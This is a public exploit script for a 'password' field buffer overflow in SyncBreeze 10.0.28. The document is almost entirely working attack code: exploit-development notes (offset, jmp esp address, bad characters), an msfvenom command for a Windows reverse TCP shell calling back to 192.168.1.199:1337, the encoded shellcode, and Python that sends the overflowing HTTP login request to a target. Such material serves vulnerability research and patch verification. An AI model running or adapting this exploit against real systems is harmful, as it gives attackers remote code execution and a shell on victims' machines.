SyncBreeze 10.0.28 Remote Buffer Overflow

`# Exploit Title: SyncBreeze 10.0.28 - 'password' Remote Buffer Overflow  
# Date: 18-Sep-2020  
# Exploit Author: Abdessalam king(A.salam)  
# Vendor Homepage: http://www.syncbreeze.com  
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe  
# Version: 10.0.28  
# Tested on: Windows 7,windows xp,windows 10  
#72413372 [*] Exact match at offset 520  
#jmp esp FFE4 \xff\xe4  
#!mona modules  
#!mona find -s "\xff\xe4" -m libspp.dll  
#address esp => 10090C83  
#badchars ==> "\x00\x0a\x0d\x25\x26\x2b\x3d"  
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.199 LPORT=1337 -f c  
-b "\x00\x0a\x0d\x25\x26\x2b\x3d" EXITFUNC=thread  
#!/usr/bin/python  
import socket  
  
shell =""  
shell +="\xba\x4b\x38\x98\x39\xdd\xc7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"  
shell +="\x53\x83\xef\xfc\x31\x57\x10\x03\x57\x10\xa9\xcd\x64\xd1\xaf"  
shell +="\x2e\x95\x22\xcf\xa7\x70\x13\xcf\xdc\xf1\x04\xff\x97\x54\xa9"  
shell +="\x74\xf5\x4c\x3a\xf8\xd2\x63\x8b\xb6\x04\x4d\x0c\xea\x75\xcc"  
shell +="\x8e\xf0\xa9\x2e\xae\x3b\xbc\x2f\xf7\x21\x4d\x7d\xa0\x2e\xe0"  
shell +="\x92\xc5\x7a\x39\x18\x95\x6b\x39\xfd\x6e\x8a\x68\x50\xe4\xd5"  
shell +="\xaa\x52\x29\x6e\xe3\x4c\x2e\x4a\xbd\xe7\x84\x21\x3c\x2e\xd5"  
shell +="\xca\x93\x0f\xd9\x39\xed\x48\xde\xa1\x98\xa0\x1c\x5c\x9b\x76"  
shell +="\x5e\xba\x2e\x6d\xf8\x49\x88\x49\xf8\x9e\x4f\x19\xf6\x6b\x1b"  
shell +="\x45\x1b\x6a\xc8\xfd\x27\xe7\xef\xd1\xa1\xb3\xcb\xf5\xea\x60"  
shell +="\x75\xaf\x56\xc7\x8a\xaf\x38\xb8\x2e\xbb\xd5\xad\x42\xe6\xb1"  
shell +="\x02\x6f\x19\x42\x0c\xf8\x6a\x70\x93\x52\xe5\x38\x5c\x7d\xf2"  
shell +="\x3f\x77\x39\x6c\xbe\x77\x3a\xa4\x05\x23\x6a\xde\xac\x4b\xe1"  
shell +="\x1e\x50\x9e\x9c\x15\xf7\x70\x83\xd7\x6d\x71\x29\x2a\x1a\x9b"  
shell +="\xa2\xf5\x3a\xa4\x68\x9e\xd3\x58\x93\xbe\xb3\xd5\x75\xaa\xa3"  
shell +="\xb3\x2e\x43\x06\xe0\xe6\xf4\x79\xc3\x8c\x3b\xf0\xb3\xd9\xd3"  
shell +="\x4c\xaa\xde\xdc\x4c\xf9\x48\x4b\xc7\xed\x4c\x6a\xd8\x38\xe5"  
shell +="\xfb\x4f\xb7\x64\x49\xf1\xc8\xac\x3b\xf1\x5c\x4b\xea\xa6\xc8"  
shell +="\x51\xcb\x81\x57\xa9\x3e\x92\x9f\x55\xbf\xb8\xd4\x60\x55\x83"  
shell +="\x82\x8c\xb9\x03\x52\xdb\xd3\x03\x3a\xbb\x87\x57\x5f\xc4\x1d"  
shell +="\xc4\xcc\x51\x9e\xbd\xa1\xf2\xf6\x43\x9c\x35\x59\xbb\xcb\x45"  
shell +="\x9e\x43\x8d\x4e\x5e\x87\x58\x97\x15\xee\x59\xac\x36\xed\x77"  
shell +="\xd9\xde\xa8\x12\x60\x83\x4a\xc9\xa7\xba\xc8\xfb\x57\x39\xd0"  
shell +="\x8e\x52\x05\x56\x63\x2f\x16\x33\x83\x9c\x17\x16";  
  
  
payload = "username=AAAAA&password="+"A"*520+"\x83\x0c\x09\x10"+ "\x90" *  
20 + shell +"\x90"*(1400-520-4-20-len(shell))  
req =""  
req += "POST /login HTTP/1.1\r\n"  
req += "Host: 192.168.1.20\r\n"  
req += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0\r\n"  
req += "Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"  
req += "Accept-Language: en-US,en;q=0.5\r\n"  
req += "Accept-Encoding: gzip, deflate\r\n"  
req += "Referer: http://192.168.1.20/login\r\n"  
req += "Content-Type: application/x-www-form-urlencoded\r\n"  
req += "Content-Length: "+str(len(payload))+"\r\n"  
req += "Connection: keep-alive\r\n"  
req += "Upgrade-Insecure-Requests: 1\r\n"  
req += "\r\n"  
req += payload  
# print req  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("192.168.1.20",80))  
s.send(req)  
print s.recv(1024)  
  
s.close()  
`